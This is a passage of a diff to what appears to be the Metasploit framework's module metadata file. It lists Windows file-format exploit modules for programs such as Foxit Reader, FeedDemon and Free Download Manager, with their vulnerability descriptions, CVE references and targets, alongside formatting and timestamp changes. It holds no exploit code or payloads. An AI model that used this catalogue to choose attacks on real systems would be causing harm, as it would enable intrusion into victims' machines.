"exploit_windows/fileformat/easycdda_pls_bof": { "name": "Easy CD-DA Recorder PLS Buffer Overflow", "fullname": "exploit/windows/fileformat/easycdda_pls_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-06-07", "type": "exploit", @@ -155011,7 +158441,7 @@ "Gabor Seljan", "juan vazquez " ], - "description": "This module exploits a stack-based buffer overflow vulnerability in\n Easy CD-DA Recorder 2007 caused by an overlong string in a playlist entry.\n By persuading the victim to open a specially-crafted PLS file, a\n remote attacker can execute arbitrary code on the system or cause\n the application to crash. This module has been tested successfully on\n Windows XP SP3 and Windows 7 SP1.", + "description": "This module exploits a stack-based buffer overflow vulnerability in\n Easy CD-DA Recorder 2007 caused by an overlong string in a playlist entry.\n By persuading the victim to open a specially-crafted PLS file, a\n remote attacker can execute arbitrary code on the system or cause\n the application to crash. This module has been tested successfully on\n Windows XP SP3 and Windows 7 SP1.", "references": [ "BID-40631", "EDB-13761", @@ -155022,16 +158452,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 / Windows 7 SP1 (DEP Bypass)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/easycdda_pls_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/easycdda_pls_bof", @@ -155039,6 +158465,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155046,16 +158481,14 @@ "exploit_windows/fileformat/emc_appextender_keyworks": { "name": "EMC ApplicationXtender (KeyWorks) ActiveX Control Buffer Overflow", "fullname": "exploit/windows/fileformat/emc_appextender_keyworks", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2009-09-29", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in the KeyWorks KeyHelp ActiveX Control\n (KeyHelp.ocx 1.2.3120.0). This ActiveX Control comes bundled with EMC's\n Documentation ApplicationXtender 5.4.", + "description": "This module exploits a stack buffer overflow in the KeyWorks KeyHelp ActiveX Control\n (KeyHelp.ocx 1.2.3120.0). This ActiveX Control comes bundled with EMC's\n Documentation ApplicationXtender 5.4.", "references": [ "CVE-2012-2515", "OSVDB-58423", @@ -155064,16 +158497,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb", "is_install_path": true, "ref_name": "windows/fileformat/emc_appextender_keyworks", @@ -155081,6 +158510,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155088,9 +158526,7 @@ "exploit_windows/fileformat/erdas_er_viewer_bof": { "name": "ERS Viewer 2011 ERS File Handling Buffer Overflow", "fullname": "exploit/windows/fileformat/erdas_er_viewer_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-04-23", "type": "exploit", @@ -155098,7 +158534,7 @@ "Parvez Anwar", "juan vazquez " ], - "description": "This module exploits a buffer overflow vulnerability found in ERS Viewer 2011\n (version 11.04). The vulnerability exists in the module ermapper_u.dll where the\n function ERM_convert_to_correct_webpath handles user provided data in an insecure\n way. It results in arbitrary code execution under the context of the user viewing\n a specially crafted .ers file. This module has been tested successfully with ERS\n Viewer 2011 (version 11.04) on Windows XP SP3 and Windows 7 SP1.", + "description": "This module exploits a buffer overflow vulnerability found in ERS Viewer 2011\n (version 11.04). The vulnerability exists in the module ermapper_u.dll where the\n function ERM_convert_to_correct_webpath handles user provided data in an insecure\n way. It results in arbitrary code execution under the context of the user viewing\n a specially crafted .ers file. This module has been tested successfully with ERS\n Viewer 2011 (version 11.04) on Windows XP SP3 and Windows 7 SP1.", "references": [ "CVE-2013-0726", "OSVDB-92694", @@ -155108,16 +158544,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ERS Viewer 2011 (v11.04) / Windows XP SP3 / Windows 7 SP1" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/erdas_er_viewer_bof", @@ -155125,6 +158557,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155132,9 +158573,7 @@ "exploit_windows/fileformat/erdas_er_viewer_rf_report_error": { "name": "ERS Viewer 2013 ERS File Handling Buffer Overflow", "fullname": "exploit/windows/fileformat/erdas_er_viewer_rf_report_error", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-05-23", "type": "exploit", @@ -155142,7 +158581,7 @@ "James Fitts", "juan vazquez " ], - "description": "This module exploits a buffer overflow vulnerability found in ERS Viewer 2013.\n The vulnerability exists in the module ermapper_u.dll, where the function\n rf_report_error handles user provided data in an insecure way. It results in\n arbitrary code execution under the context of the user viewing a specially crafted\n .ers file. This module has been tested successfully with ERS Viewer 2013 (versions\n 13.0.0.1151) on Windows XP SP3 and Windows 7 SP1.", + "description": "This module exploits a buffer overflow vulnerability found in ERS Viewer 2013.\n The vulnerability exists in the module ermapper_u.dll, where the function\n rf_report_error handles user provided data in an insecure way. It results in\n arbitrary code execution under the context of the user viewing a specially crafted\n .ers file. This module has been tested successfully with ERS Viewer 2013 (versions\n 13.0.0.1151) on Windows XP SP3 and Windows 7 SP1.", "references": [ "CVE-2013-3482", "OSVDB-93650", @@ -155151,17 +158590,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ERS Viewer 2013 13.0.0.1151 / NO DEP / NO ASLR", "ERS Viewer 2013 13.0.0.1151 / DEP & ASLR bypass" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb", "is_install_path": true, "ref_name": "windows/fileformat/erdas_er_viewer_rf_report_error", @@ -155169,6 +158604,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155176,9 +158620,7 @@ "exploit_windows/fileformat/esignal_styletemplate_bof": { "name": "eSignal and eSignal Pro File Parsing Buffer Overflow in QUO", "fullname": "exploit/windows/fileformat/esignal_styletemplate_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-09-06", "type": "exploit", @@ -155187,7 +158629,7 @@ "TecR0c ", "mr_me " ], - "description": "The software is unable to handle the \"\" files (even those\n original included in the program) like those with the registered\n extensions QUO, SUM and POR. Successful exploitation of this\n vulnerability may take up to several seconds due to the use of\n egghunter. Also, DEP bypass is unlikely due to the limited space for\n payload. This vulnerability affects versions 10.6.2425.1208 and earlier.", + "description": "The software is unable to handle the \"\" files (even those\n original included in the program) like those with the registered\n extensions QUO, SUM and POR. Successful exploitation of this\n vulnerability may take up to several seconds due to the use of\n egghunter. Also, DEP bypass is unlikely due to the limited space for\n payload. This vulnerability affects versions 10.6.2425.1208 and earlier.", "references": [ "CVE-2011-3494", "OSVDB-75456", @@ -155198,16 +158640,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Win XP SP3 / Windows Vista / Windows 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/esignal_styletemplate_bof", @@ -155215,6 +158653,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155222,16 +158669,14 @@ "exploit_windows/fileformat/etrust_pestscan": { "name": "CA eTrust PestPatrol ActiveX Control Buffer Overflow", "fullname": "exploit/windows/fileformat/etrust_pestscan", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2009-11-02", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in CA eTrust PestPatrol. When\n sending an overly long string to the Initialize() property of ppctl.dll (5.6.7.9)\n an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in CA eTrust PestPatrol. When\n sending an overly long string to the Initialize() property of ppctl.dll (5.6.7.9)\n an attacker may be able to execute arbitrary code.", "references": [ "CVE-2009-4225", "OSVDB-60862" @@ -155239,16 +158684,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/etrust_pestscan.rb", "is_install_path": true, "ref_name": "windows/fileformat/etrust_pestscan", @@ -155256,6 +158697,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155263,9 +158713,7 @@ "exploit_windows/fileformat/ezip_wizard_bof": { "name": "eZip Wizard 3.0 Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/ezip_wizard_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-03-09", "type": "exploit", @@ -155274,7 +158722,7 @@ "jduck ", "Lincoln" ], - "description": "This module exploits a stack-based buffer overflow vulnerability in\n version 3.0 of ediSys Corp.'s eZip Wizard.\n\n In order for the command to be executed, an attacker must convince someone to\n open a specially crafted zip file with eZip Wizard, and access the specially\n file via double-clicking it. By doing so, an attacker can execute arbitrary\n code as the victim user.", + "description": "This module exploits a stack-based buffer overflow vulnerability in\n version 3.0 of ediSys Corp.'s eZip Wizard.\n\n In order for the command to be executed, an attacker must convince someone to\n open a specially crafted zip file with eZip Wizard, and access the specially\n file via double-clicking it. By doing so, an attacker can execute arbitrary\n code as the victim user.", "references": [ "CVE-2009-1028", "OSVDB-52815", @@ -155286,16 +158734,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ezip_wizard_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/ezip_wizard_bof", @@ -155303,6 +158747,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155310,9 +158763,7 @@ "exploit_windows/fileformat/fatplayer_wav": { "name": "Fat Player Media Player 0.6b0 Buffer Overflow", "fullname": "exploit/windows/fileformat/fatplayer_wav", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-10-18", "type": "exploit", @@ -155320,7 +158771,7 @@ "James Fitts ", "dookie" ], - "description": "This module exploits a buffer overflow in Fat Player 0.6b. When\n the application is used to import a specially crafted wav file, a buffer overflow occurs\n allowing arbitrary code execution.", + "description": "This module exploits a buffer overflow in Fat Player 0.6b. When\n the application is used to import a specially crafted wav file, a buffer overflow occurs\n allowing arbitrary code execution.", "references": [ "CVE-2009-4962", "OSVDB-57343", @@ -155329,16 +158780,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/fatplayer_wav.rb", "is_install_path": true, "ref_name": "windows/fileformat/fatplayer_wav", @@ -155346,6 +158793,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155353,9 +158809,7 @@ "exploit_windows/fileformat/fdm_torrent": { "name": "Free Download Manager Torrent Parsing Buffer Overflow", "fullname": "exploit/windows/fileformat/fdm_torrent", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-02-02", "type": "exploit", @@ -155363,7 +158817,7 @@ "SkD ", "jduck " ], - "description": "This module exploits a stack buffer overflow in Free Download Manager\n 3.0 Build 844. Arbitrary code execution could occur when parsing a\n specially crafted torrent file.", + "description": "This module exploits a stack buffer overflow in Free Download Manager\n 3.0 Build 844. Arbitrary code execution could occur when parsing a\n specially crafted torrent file.", "references": [ "CVE-2009-0184", "OSVDB-54033", @@ -155376,16 +158830,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Free Download Manager 3.0 (Build 844)" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/fdm_torrent.rb", "is_install_path": true, "ref_name": "windows/fileformat/fdm_torrent", @@ -155393,6 +158843,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155400,9 +158859,7 @@ "exploit_windows/fileformat/feeddemon_opml": { "name": "FeedDemon Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/feeddemon_opml", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-02-09", "type": "exploit", @@ -155411,7 +158868,7 @@ "dookie", "jduck " ], - "description": "This module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application\n is used to import a specially crafted opml file, a buffer overflow occurs allowing\n arbitrary code execution.\n\n All versions are suspected to be vulnerable. This vulnerability was originally reported\n against version 2.7 in February of 2009.", + "description": "This module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application\n is used to import a specially crafted opml file, a buffer overflow occurs allowing\n arbitrary code execution.\n\n All versions are suspected to be vulnerable. This vulnerability was originally reported\n against version 2.7 in February of 2009.", "references": [ "CVE-2009-0546", "OSVDB-51753", @@ -155423,16 +158880,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/feeddemon_opml.rb", "is_install_path": true, "ref_name": "windows/fileformat/feeddemon_opml", @@ -155440,6 +158893,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155447,9 +158909,7 @@ "exploit_windows/fileformat/foxit_reader_filewrite": { "name": "Foxit PDF Reader 4.2 Javascript File Write", "fullname": "exploit/windows/fileformat/foxit_reader_filewrite", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-03-05", "type": "exploit", @@ -155465,18 +158925,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Foxit PDF Reader v4.2 (Windows XP SP0-SP3)", "Foxit PDF Reader v4.2 (Windows Vista/7/8/2008)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb", "is_install_path": true, "ref_name": "windows/fileformat/foxit_reader_filewrite", @@ -155484,6 +158940,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155491,9 +158956,7 @@ "exploit_windows/fileformat/foxit_reader_launch": { "name": "Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow", "fullname": "exploit/windows/fileformat/foxit_reader_launch", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-03-09", "type": "exploit", @@ -155501,7 +158964,7 @@ "Francisco Falcon", "bannedit " ], - "description": "This module exploits a buffer overflow in Foxit Reader 3.0 builds 1301 and earlier.\n Due to the way Foxit Reader handles the input from an \"Launch\" action, it is possible\n to cause a stack-based buffer overflow, allowing an attacker to gain arbitrary code\n execution under the context of the user.", + "description": "This module exploits a buffer overflow in Foxit Reader 3.0 builds 1301 and earlier.\n Due to the way Foxit Reader handles the input from an \"Launch\" action, it is possible\n to cause a stack-based buffer overflow, allowing an attacker to gain arbitrary code\n execution under the context of the user.", "references": [ "CVE-2009-0837", "OSVDB-55614", @@ -155511,16 +158974,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Foxit Reader 3.0 Windows XP SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/foxit_reader_launch.rb", "is_install_path": true, "ref_name": "windows/fileformat/foxit_reader_launch", @@ -155528,6 +158987,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155535,9 +159003,7 @@ "exploit_windows/fileformat/foxit_reader_uaf": { "name": "Foxit PDF Reader Pointer Overwrite UAF", "fullname": "exploit/windows/fileformat/foxit_reader_uaf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-04-20", "type": "exploit", @@ -155547,7 +159013,7 @@ "saelo", "Jacob Robles" ], - "description": "Foxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability\n in the Text Annotations component and the TypedArray's use\n uninitialized pointers.\n\n The vulnerabilities can be combined to leak a vtable memory address,\n which can be adjusted to point to the base address of the executable.\n A ROP chain can be constructed that will execute when Foxit Reader\n performs the UAF.\n\n This module has been tested on Windows 7 x64, Windows 10 Pro x64\n Build 17134, and Windows 10 Enterprise x64. Windows 10 Enterprise\n must have insecure logons enabled for the exploit to work as expected.", + "description": "Foxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability\n in the Text Annotations component and the TypedArray's use\n uninitialized pointers.\n\n The vulnerabilities can be combined to leak a vtable memory address,\n which can be adjusted to point to the base address of the executable.\n A ROP chain can be constructed that will execute when Foxit Reader\n performs the UAF.\n\n This module has been tested on Windows 7 x64, Windows 10 Pro x64\n Build 17134, and Windows 10 Enterprise x64. Windows 10 Enterprise\n must have insecure logons enabled for the exploit to work as expected.", "references": [ "CVE-2018-9948", "CVE-2018-9958", @@ -155559,16 +159025,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 10 Pro x64 Build 17134" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/foxit_reader_uaf.rb", "is_install_path": true, "ref_name": "windows/fileformat/foxit_reader_uaf", @@ -155576,6 +159038,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155583,9 +159054,7 @@ "exploit_windows/fileformat/foxit_title_bof": { "name": "Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/foxit_title_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-11-13", "type": "exploit", @@ -155595,7 +159064,7 @@ "corelanc0d3r ", "jduck " ], - "description": "This module exploits a stack buffer overflow in Foxit PDF Reader prior to version\n 4.2.0.0928. The vulnerability is triggered when opening a malformed PDF file that\n contains an overly long string in the Title field. This results in overwriting a\n structured exception handler record.\n\n NOTE: This exploit does not use javascript.", + "description": "This module exploits a stack buffer overflow in Foxit PDF Reader prior to version\n 4.2.0.0928. The vulnerability is triggered when opening a malformed PDF file that\n contains an overly long string in the Title field. This results in overwriting a\n structured exception handler record.\n\n NOTE: This exploit does not use javascript.", "references": [ "OSVDB-68648", "EDB-15532", @@ -155604,16 +159073,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Foxit Reader v4.1.1 XP Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/foxit_title_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/foxit_title_bof", @@ -155621,6 +159086,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155628,9 +159102,7 @@ "exploit_windows/fileformat/free_mp3_ripper_wav": { "name": "Free MP3 CD Ripper 1.1 WAV File Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/free_mp3_ripper_wav", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-08-27", "type": "exploit", @@ -155640,7 +159112,7 @@ "Tiago Henriques", "James Fitts " ], - "description": "This module exploits a stack based buffer overflow found in Free MP3 CD\n Ripper 1.1. The overflow is triggered when an unsuspecting user opens a malicious\n WAV file.", + "description": "This module exploits a stack based buffer overflow found in Free MP3 CD\n Ripper 1.1. The overflow is triggered when an unsuspecting user opens a malicious\n WAV file.", "references": [ "CVE-2011-5165", "OSVDB-63349", @@ -155650,16 +159122,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 EN" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb", "is_install_path": true, "ref_name": "windows/fileformat/free_mp3_ripper_wav", @@ -155667,6 +159135,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155674,9 +159151,7 @@ "exploit_windows/fileformat/galan_fileformat_bof": { "name": "gAlan 0.2.1 Buffer Overflow", "fullname": "exploit/windows/fileformat/galan_fileformat_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-12-07", "type": "exploit", @@ -155684,7 +159159,7 @@ "Jeremy Brown <0xjbrown41@gmail.com>", "loneferret" ], - "description": "This module exploits a stack buffer overflow in gAlan 0.2.1\n by creating a specially crafted galan file.", + "description": "This module exploits a stack buffer overflow in gAlan 0.2.1\n by creating a specially crafted galan file.", "references": [ "OSVDB-60897", "EDB-10339" @@ -155692,16 +159167,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/galan_fileformat_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/galan_fileformat_bof", @@ -155709,6 +159180,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155716,9 +159196,7 @@ "exploit_windows/fileformat/greenshot_deserialize_cve_2023_34634": { "name": "Greenshot .NET Deserialization Fileformat Exploit", "fullname": "exploit/windows/fileformat/greenshot_deserialize_cve_2023_34634", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-07-26", "type": "exploit", @@ -155734,12 +159212,8 @@ "platform": "Windows", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -155768,9 +159242,7 @@ "exploit_windows/fileformat/gsm_sim": { "name": "GSM SIM Editor 5.15 Buffer Overflow", "fullname": "exploit/windows/fileformat/gsm_sim", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-07-07", "type": "exploit", @@ -155779,7 +159251,7 @@ "chap0 ", "Lincoln " ], - "description": "This module exploits a stack-based buffer overflow in GSM SIM Editor 5.15.\n When opening a specially crafted .sms file in GSM SIM Editor a stack-based buffer\n overflow occurs which allows an attacker to execute arbitrary code.", + "description": "This module exploits a stack-based buffer overflow in GSM SIM Editor 5.15.\n When opening a specially crafted .sms file in GSM SIM Editor a stack-based buffer\n overflow occurs which allows an attacker to execute arbitrary code.", "references": [ "CVE-2015-1171", "OSVDB-81161", @@ -155788,16 +159260,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/gsm_sim.rb", "is_install_path": true, "ref_name": "windows/fileformat/gsm_sim", @@ -155805,6 +159273,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155812,16 +159289,14 @@ "exploit_windows/fileformat/gta_samp": { "name": "GTA SA-MP server.cfg Buffer Overflow", "fullname": "exploit/windows/fileformat/gta_samp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-09-18", "type": "exploit", "author": [ "Silent_Dream" ], - "description": "This module exploits a stack-based buffer overflow in GTA SA-MP Server.\n This buffer overflow occurs when the application attempts to open a malformed\n server.cfg file. To exploit this vulnerability, an attacker must send the\n victim a server.cfg file and have them run samp-server.exe.", + "description": "This module exploits a stack-based buffer overflow in GTA SA-MP Server.\n This buffer overflow occurs when the application attempts to open a malformed\n server.cfg file. To exploit this vulnerability, an attacker must send the\n victim a server.cfg file and have them run samp-server.exe.", "references": [ "OSVDB-83433", "EDB-17893" @@ -155829,16 +159304,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "GTA SA-MP (samp-server) v0.3.1.1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/gta_samp.rb", "is_install_path": true, "ref_name": "windows/fileformat/gta_samp", @@ -155846,6 +159317,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155853,9 +159333,7 @@ "exploit_windows/fileformat/hhw_hhp_compiledfile_bof": { "name": "HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow", "fullname": "exploit/windows/fileformat/hhw_hhp_compiledfile_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-02-06", "type": "exploit", @@ -155863,7 +159341,7 @@ "bratax", "jduck " ], - "description": "This module exploits a stack buffer overflow in HTML Help Workshop 4.74\n By creating a specially crafted hhp file, an attacker may be able\n to execute arbitrary code.", + "description": "This module exploits a stack buffer 